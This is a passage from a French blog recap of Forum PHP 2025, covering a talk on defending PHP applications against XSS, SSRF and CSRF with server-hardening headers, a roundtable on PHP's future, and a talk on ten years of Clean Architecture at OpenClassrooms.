Pour le texte brut, il faut échapper les données à l’affichage (htmlspecialchars(), htmlentities()) ou utiliser l’échappement intégré des moteurs de templates comme Twig. L’usage de strip_tags() est risqué car il faut n’autoriser aucun tag, sinon les attributs peuvent rester dangereux.

Pour le HTML (WYSIWYG), utiliser des outils de sanitization pour n’autoriser que les balises et attributs voulus : HTML Purifier (recommandé par l’OWASP) ou Symfony HTML Sanitizer.

On peut également utiliser l’en-tête Content-Security-Policy (CSP) pour bloquer les scripts en ligne et les sources externes non autorisées. Marquer les cookies en httpOnly empêche leur accès via JavaScript, c’est le comportement par défaut utilisé par Symfony depuis la version 4.2.

3. Server-Side Request Forgery (SSRF)

Le but est de pousser le serveur à effectuer une requête vers une cible non prévue, souvent une ressource interne au réseau privé. Cela peut permettre de lire des fichiers locaux (ex: /etc/passwd), d’effectuer du port scanning sur le réseau local ou d’appeler des APIs internes non sécurisées (ex: /intern-api/deleteUser/27).

Pour s’en prémunir, il faut filtrer rigoureusement l’URL avant d’utiliser des fonctions comme file_get_contents ou fopen. Vérifier que l’URL fournie n’est pas un chemin local, ni une IP privée, en utilisant par exemple FILTER_FLAG_NO_PRIV_RANGE avec filter_var après avoir résolu le nom d’hôte avec gethostbyname

4. Cross-Site Request Forgery (CSRF)

L’objectif de l’attaque est de forcer un utilisateur déjà authentifié sur votre site (ex: une interface d’administration) à effectuer une action sensible à son insu comme la suppression d’un compte en cliquant sur un lien ou un élément d’un site tiers malveillant.

Si vous utilisez le composant symfony/form, la protection par token est automatique. Vous trouverez plus de détails sur cette attaque dans notre article de blog dédié au sujet.

Enfin, Amaury rappelle l’importance de durcir la configuration du serveur pour renforcer la sécurité globale :

  • forcer le HTTPS en redirigeant HTTP vers HTTPS (301), et utiliser l’en-tête Strict-Transport-Security ;
  • X-Content-Type-Options: nosniff pour empêcher le navigateur de deviner le type MIME ;
  • X-Frame-Options: DENY pour empêcher le site d’être inclus dans un <iframe> (lutte contre le clickjacking) ;
  • Referrer-Policy: no-referrer-when-downgrade pour n’envoyer le REFERER qu’en HTTPS ;
  • Permissions-Policy pour limiter l’utilisation des APIs sensibles par les iframes (ex: geolocation=()) ;
  • Content-Security-Policy (CSP) pour limiter les sources de contenu (scripts, images, etc.).

Section intitulée table-ronde-le-futur-de-php-et-de-la-php-foundationTable ronde : le futur de PHP et de la PHP Foundation

Gina Banyard, Kévin Dunglas, Nicolas Grekas et James Titcumb se sont mis à l’aise sur scène pour discuter du futur de PHP. C’était un format original et l’exercice n’est pas facile !

Difficile d’en faire un résumé mais quelques points nous ont marqués.

Il a par exemple été souligné à quel point le langage est versatile ; permettant d’être pris en main très facilement, pour écrire des programmes simpliste, mais aussi d’être très complet et capable de faire tourner des applications très complexes et puissantes.

L’apport de Laravel a aussi été souligné ; en étant un framework si populaire, il pousse des développeurs à apprendre PHP, et cela bénéficie donc à toute la communauté.

Le sujet des performances est aussi un point clé : PHP a de très bonnes performances et cela n’est pas forcément connu ou reconnu. Autant, avant PHP 7 la vitesse du langage n’était pas prioritaire, aujourd’hui, chaque release surpasse la précédente.

Nous avons apprécié les interventions sur les LLM et leur consommation d’énergie aberrante.

En parlant du futur, les intervenants ont souligné que PHP est utilisé si largement dans le monde que même si le langage venait à être moins utilisé, il y aurait toujours pour des années des projets à maintenir. Ce scénario n’est cependant pas dans le radar car la crise économique ne touche pas autant PHP que d’autres langages plus chers.

Section intitulée 10-ans-de-clean-architecture-chez-openclassrooms-le-reve-la-realite-les-lecons10 ans de Clean Architecture chez OpenClassrooms : le rêve, la réalité, les leçons

Par Olivier Mairet

Nous sommes quelques-uns à avoir appris PHP sur Le Site Du Zéro ; maintenant OpenClassRoom. Et cette conférence nous a plongés dans l’architecture de ce site bien connu et écrit en Symfony.

Depuis 10 années maintenant ils utilisent la ✨ Clean Architecture 🧼.

Leur objectif est de mettre le métier au centre de l’application, et de le rendre indépendant du framework. La communication entre les couches passe par des abstractions, tout est facile à tester et l’arborescence de l’application en décrit le comportement.

Tout va bien, mais la réalité fait peur : créer une nouvelle route d’API en GET nécessitait la création de 20 à 30 classes et interfaces PHP 🤯

Ils ont réussi à trouver des améliorations – car il ne faut pas se mentir, c’est hyper complexe. Il vont passer par un contrôleur Symfony unique pour tous les UseCase (il y en a 600) ; retirer quelques interfaces, remplacer les assembleurs par de l’hydratation… et ainsi :

  • améliorer leur onboarding développeur ;
  • retrouver du pragmatisme ;
  • maintenir la cohésion.

Nous retenons qu’ils sont toujours contents de leur choix même si l’implémentation a dû se simplifier pour être plus réaliste.

Section intitulée conclusionConclusion

Nous arrêtons notre récapitulatif ici mais souhaitons vraiment féliciter l’ensemble des orateurs et oratrices ; nous ne pouvions pas assister à tous les sujets, et certains talks se vivent plus qu’il ne se racontent ! 👏

Benjamin sur scène

Encore une belle édition tenue par la superbe équipe de l’AFUP que nous souhaitons remercier chaleureusement pour leur dévouement et leur organisation impeccable.

Cette année encore, le Forum PHP a été un véritable succès, réunissant la communauté autour de conférences inspirantes, d’échanges fructueux et de moments conviviaux.

L’année prochaine s’annonce tout aussi riche avec l’organisation de 4 Afup Day : Bordeaux, Lille, Lyon et Paris. Nous avons hâte de retrouver la communauté PHP dans ces cadres régionaux.


Cet article porte sur la conférence Forum PHP 2025.

Forum PHP 2025

Commentaires et discussions

Ces clients ont profité de notre expertise